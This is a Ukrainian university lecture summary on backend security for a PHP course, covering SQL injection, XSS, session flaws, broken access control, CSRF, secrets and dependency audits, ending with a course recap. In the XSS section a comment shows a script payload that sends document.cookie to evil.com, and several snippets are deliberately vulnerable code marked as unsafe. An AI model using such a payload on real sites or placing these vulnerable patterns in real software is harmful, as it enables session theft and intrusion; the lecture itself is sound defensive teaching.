

Дисципліна

«Бекенд-розробка, сервіси та мікросервіси»

КОНСПЕКТ ЛЕКЦІЇ. ТЕМА 18

Безпека бекенду: типові вразливості та захист від них. Підсумок курсу

Спеціальність: Комп'ютерна інженерія, 3 курс
Обсяг: 1 год 20 хв (лекція 18 з 18, завершальна)

План лекції

1. Безпека — наскрізна відповідальність, а не одна функція
2. Ін'єкції: SQL-ін'єкція, XSS та захист від них
3. Автентифікація та керування сесіями: типові вразливості
4. Контроль доступу та CSRF
5. Чутливі дані, конфігурація та секрети
6. Безпека залежностей: Composer та Docker-образи
7. Підсумок курсу: карта пройденого шляху

Мета лекції: систематизувати найпоширеніші вразливості вебзастосунків (у стилі авторитетного переліку OWASP Top 10) і зв'язати їх із захистом, розглянутим протягом курсу, а також підбити підсумок усього пройденого шляху — від першого рядка PHP-коду до архітектури розподіленої мікросервісної системи.

1. Безпека — наскрізна відповідальність, а не одна функція

Поширена помилка початківців — вважати безпеку окремим етапом, який можна "додати наприкінці", коли застосунок уже написано. Насправді кожна тема цього курсу вже містила рішення, що безпосередньо впливають на безпеку: підготовлені запити (тема 7), хешування паролів (тема 8), валідація вхідних даних (тема 6), HTTPS і таймаути (теми 13, 15).

OWASP (Open Worldwide Application Security Project) — некомерційна організація, що регулярно публікує перелік OWASP Top 10 — десять найпоширеніших категорій вразливостей вебзастосунків, заснований на реальній статистиці інцидентів. Ця лекція розглядає ключові категорії з цього переліку крізь призму того, що вже вивчено в курсі.

Категорія OWASP (спрощено)	Де вже розглядалося в курсі
Ін'єкції (SQL, XSS)	Теми 6, 7 — підготовлені запити, екранування виводу
Порушена автентифікація	Тема 8 — хешування паролів, сесії, JWT
Порушений контроль доступу	Теми 8, 9 — модифікатори доступу, перевірка ролей
Розкриття чутливих даних	Теми 14, 15 — секрети, змінні середовища, HTTPS
Вразливі компоненти	Теми 15, 16 — залежності, образи, CI/CD-перевірки

Мета цієї лекції — не вивчити щось абсолютно нове, а подивитися на вже пройдений матеріал під іншим кутом: кожне архітектурне чи технічне рішення курсу мало, серед іншого, і мету безпеки, навіть коли це не було сказано прямим текстом.

2. Ін'єкції: SQL-ін'єкція, XSS та захист від них

2.1. SQL-ін'єкція (нагадування з теми 7)

SQL-ін'єкція виникає, коли дані користувача потрапляють у текст SQL-запиту без належної обробки, дозволяючи змінити структуру запиту. Підготовлені запити (prepared statements) через PDO повністю усувають цю проблему, оскільки параметри передаються окремо від тексту запиту й ніколи не інтерпретуються як SQL-синтаксис.

```
<?php
// НЕБЕЗПЕЧНО (тема 7): конкатенація рядка користувача в SQL
$sql = "SELECT * FROM users WHERE login = '" . $_POST['login'] . "'";

// БЕЗПЕЧНО: підготовлений запит
$stmt = $pdo->prepare('SELECT * FROM users WHERE login = :login');
$stmt->execute(['login' => $_POST['login']]);
```

2.2. XSS (Cross-Site Scripting)

XSS виникає, коли введені користувачем дані виводяться на сторінку без екранування, дозволяючи зломиснику впровадити власний JavaScript-код, що виконається в браузері іншого користувача (наприклад, для крадіжки cookie сесії). Функція htmlspecialchars() (тема 6) перетворює спецсимволи HTML на безпечні відповідники.

```
<?php
// НЕБЕЗПЕЧНО: коментар користувача виводиться напряму
echo "<p>{$comment}</p>";
// Якщо $comment = "<script>fetch('https://evil.com?c='+document.cookie)</script>"
// — скрипт виконається в браузері кожного, хто побачить цей коментар

// БЕЗПЕЧНО: екранування перед виводом (тема 6)
echo '<p>' . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . '</p>';
```

Золоте правило проти обох категорій ін'єкцій однакове за духом: ніколи не довіряти вхідним даним і завжди розділяти дані від коду — підготовлені запити розділяють дані від SQL-синтаксису, а екранування виводу розділяє дані від HTML/JavaScript-синтаксису.

3. Автентифікація та керування сесіями: типові вразливості

Вразливість	Захист (уже розглянутий у темі 8)
Зберігання паролів у відкритому вигляді	password_hash() з bcrypt замість власного шифрування
Брутфорс-атака на пароль	Обмеження кількості спроб входу за проміжок часу
Enumeration-атака (визначення зареєстрованих email)	Однакове повідомлення про помилку для будь-якої причини відмови
Session fixation (підстановка чужого ID сесії)	session_regenerate_id() одразу після успішного входу
Перехоплення сесійного cookie	Прапорці HttpOnly і Secure, передача лише через HTTPS

Для токен-базованої автентифікації (JWT, тема 8) додається ще один клас ризиків: токен із занадто довгим терміном дії, вкрадений зловмисником, залишається дійсним аж до завершення цього терміну. Короткий термін дії токена в поєднанні з механізмом оновлення (refresh token) обмежує вікно можливої зловживання.

Жоден із цих механізмів захисту не є "додатковою" функцією понад базову автентифікацію — вони є її невід'ємною частиною. Реалізація входу користувача без хешування паролів чи без обмеження спроб входу є не спрощеною, а вразливою реалізацією.

4. Контроль доступу та CSRF

Порушений контроль доступу виникає, коли застосунок автентифікує користувача правильно, але недостатньо перевіряє, чи має саме цей користувач право виконати конкретну дію (тема 8, розділ про авторизацію). Класичний приклад — зміна ID запису в URL (/api/orders/501 → /api/orders/502) і отримання доступу до чужого замовлення, якщо сервер не перевіряє, чи належить замовлення поточному користувачу.

```
<?php
// НЕБЕЗПЕЧНО: перевіряється лише факт автентифікації, а не власника
public function show(int $orderId): void {
    requireLogin(); // тема 8 – перевіряє лише, що користувач увійшов
    $order = $this->repository->findById($orderId);
    echo json_encode($order); // будь-який залогінений користувач бачить
    БУДЬ-ЯКЕ замовлення
}

// БЕЗПЕЧНО: перевіряється власник ресурсу
public function show(int $orderId): void {
    requireLogin();
    $order = $this->repository->findById($orderId);
    if ($order === null || $order['userId'] !== $_SESSION['user_id']) {
        http_response_code(403); // тема 10
        exit;
    }
    echo json_encode($order);
}
```

4.1. CSRF (Cross-Site Request Forgery)

CSRF — атака, за якої зловмисний сайт змушує браузер жертви (яка вже автентифікована на цільовому сайті через cookie) непомітно надіслати запит на зміну даних (наприклад, переказ коштів) від її імені. Захист — CSRF-токен: унікальне випадкове значення, вбудоване у форму, яке сервер перевіряє при обробці запиту й якого зловмисний сторонній сайт знати не може.

CSRF актуальний насамперед для запитів, автентифікованих через cookie (класичні сесії, тема 8). REST API, що автентифікується через токен у заголовок Authorization (а не через cookie), природно стійкіший до CSRF, оскільки сторонній сайт не може змусити браузер додати довільний заголовок до міжсайтового запиту.

5. Чутливі дані, конфігурація та секрети

Ризик	Захист (уже розглянутий у темах 14–15)
Паролі бази даних у коді чи Git-репозиторії	Змінні середовища (тема 14, 15), .env поза системою контролю версій
Передача даних відкритим текстом	HTTPS для всіх з'єднань, включно з внутрішніми викликами (тема 13)
Детальні повідомлення помилок на production	Узагальнене повідомлення користувачу, деталі — лише в лог (теми 7, 17)
Застарілі, не виправлені залежності	Регулярне оновлення через Composer, автоматична перевірка в CI (тема 16)

```
<?php
// НЕБЕЗПЕЧНО: показує зловмиснику деталі внутрішньої структури
try {
    $pdo->query($sql);
} catch (PDOException $e) {
    echo $e->getMessage(); // розкриває назви таблиць, структуру БД
}

// БЕЗПЕЧНО (тема 7): деталі – в лог, користувачу – узагальнене
повідомлення
try {
    $pdo->query($sql);
} catch (PDOException $e) {
    error_log($e->getMessage());
    http_response_code(500);
    echo json_encode(['error' => 'Внутрішня помилка сервера']);
}
```

Секрети (паролі, API-ключі, приватні ключі) ніколи не повинні потрапляти в систему контролю версій (Git) — навіть якщо пізніше видалити файл із секретом, він залишається в історії комітів. Файл .env додають у .gitignore з самого початку проєкту, а для production використовують спеціалізовані сховища секретів (тема 14).

6. Безпека залежностей: Composer та Docker-образи

Сучасний PHP-застосунок рідко пишеться повністю "з нуля" — він спирається на десятки сторонніх бібліотек через Composer (PDO-обгортки, HTTP-клієнти, тестові фреймворки з теми 11). Кожна така залежність — потенційна точка входу для вразливості, якщо в ній самій виявлено проблему безпеки.

```
$ composer audit
# Перевіряє встановлені залежності на відомі вразливості (CVE)

$ composer outdated
# Показує, які залежності мають новіші версії
```

Той самий принцип стосується базових Docker-образів (тема 15): образ `php:8.3-apache` теж періодично оновлюється зі своїми виправленнями безпеки. Використання застарілого, "зафіксованого назавжди" образу залишає застосунок незахищеним від виправлених вище за течією вразливостей.

Перевірку залежностей на вразливості доцільно автоматизувати як окремий крок CI/CD-пайплайна (тема 16) — так само, як автоматизовано запуск тестів: якщо `composer audit` виявляє критичну вразливість, пайплайн може зупинитися, не дозволяючи розгорнути потенційно небезпечну версію на production.

7. Підсумок курсу: карта пройденого шляху

Протягом вісімнадцяти лекцій курс пройшов шлях від першого виведеного рядка PHP-коду до архітектури розподіленої, спостережуваної, автоматично розгортаної мікросервісної системи. Корисно подивитися на цей шлях цілісно.

7.1. Фундамент мови (теми 1–6)

Синтаксис PHP, змінні й типи, умови та цикли, функції й основи ООП, робота з JSON/XML/файлами та cURL, опрацювання HTTP-запитів і форм — база, без якої неможливий жоден наступний крок.

7.2. Повноцінний застосунок (теми 7–11)

Робота з базами даних через PDO, автентифікація й авторизація, архітектурний патерн MVC, проектування REST API, тестування та документування — перетворення розрізнених скриптів на структурований, перевірений, задокументований застосунок.

7.3. Від одного застосунку до розподіленої системи (теми 12–18)

Перехід від моноліту до мікросервісів, міжсервісна взаємодія, інфраструктура (API Gateway, service discovery, кешування, масштабування), контейнеризація, CI/CD, спостережуваність і, нарешті, безпека — розширення погляду з рівня одного файлу коду до рівня цілої розподіленої системи, що працює в production.

Блок тем	Ключове запитання, на яке він відповідає
1–6: Фундамент мови	Як написати код, що коректно обробляє дані та запити?
7–11: Повноцінний застосунок	Як структурувати, захистити й перевірити застосунок?
12–14: Архітектура розподіленої системи	Коли й навіщо розділяти застосунок на сервіси?
15–17: Експлуатація в production	Як розгорнути, автоматизувати й спостерігати за системою?
18: Безпека	Як захистити все розглянуте від типових атак?

Жодна з архітектурних практик другої половини курсу (мікросервіси, Docker, CI/CD, спостережуваність) не має сенсу без міцного фундаменту з перших тем — і водночас жоден, навіть ідеально написаний окремий PHP-скрипт, не стає production-системою без розуміння того, як він розгортається, масштабується й захищається в реальному, розподіленому, ворожому середовищі. Саме поєднання цих двох рівнів — мова програмування та інженерна практика навколо неї — і становить зміст фрази «бекенд-розробка, сервіси та мікросервіси» з назви курсу.

Питання для самоперевірки

- Чому безпеку краще розглядати як наскрізну властивість кожного рішення, а не як окрему фінальну функцію?
- Поясніть, чому підготовлені запити й екранування виводу є двома проявами того самого принципу «розділення даних і коду».
- Наведіть приклад порушеного контролю доступу, що не є одночасно порушенням автентифікації.
- Чому REST API, автентифіковане через токен у заголовку, природно стійкіше до CSRF, ніж класичний сайт із cookie-сесіями?
- Чому показ детального повідомлення про помилку бази даних користувачу вважається вразливістю?
- Для чого потрібна команда `composer audit` і як її можна вбудувати в автоматизований процес (тема 16)?
- Опишіть одним реченням, чому теми курсу розташовані саме в такому порядку — від синтаксису мови до безпеки розподіленої системи.
- Яка тема курсу видалася вам найскладнішою і яка — найбільш практично корисною? Обґрунтуйте.

Короткий глосарій

Термін	Означення
OWASP Top 10	Перелік найпоширеніших категорій вразливостей вебзастосунків
Ін'єкція	Впровадження стороннього коду (SQL, JavaScript) через вхідні дані
XSS (Cross-Site Scripting)	Виконання зловмисного скрипта в браузері через небекранований вивід
CSRF (Cross-Site Request Forgery)	Змушення браузера жертви непомітно надіслати запит від її імені
Порушений контроль доступу	Недостатня перевірка прав користувача на конкретний ресурс чи дію
CSRF-токен	Унікальне значення у формі, що підтверджує легітимність джерела запиту
composer audit	Перевірка встановлених залежностей на відомі вразливості
Секрет (secret)	Чутливе значення (пароль, ключ), що не повинне потрапляти в систему контролю версій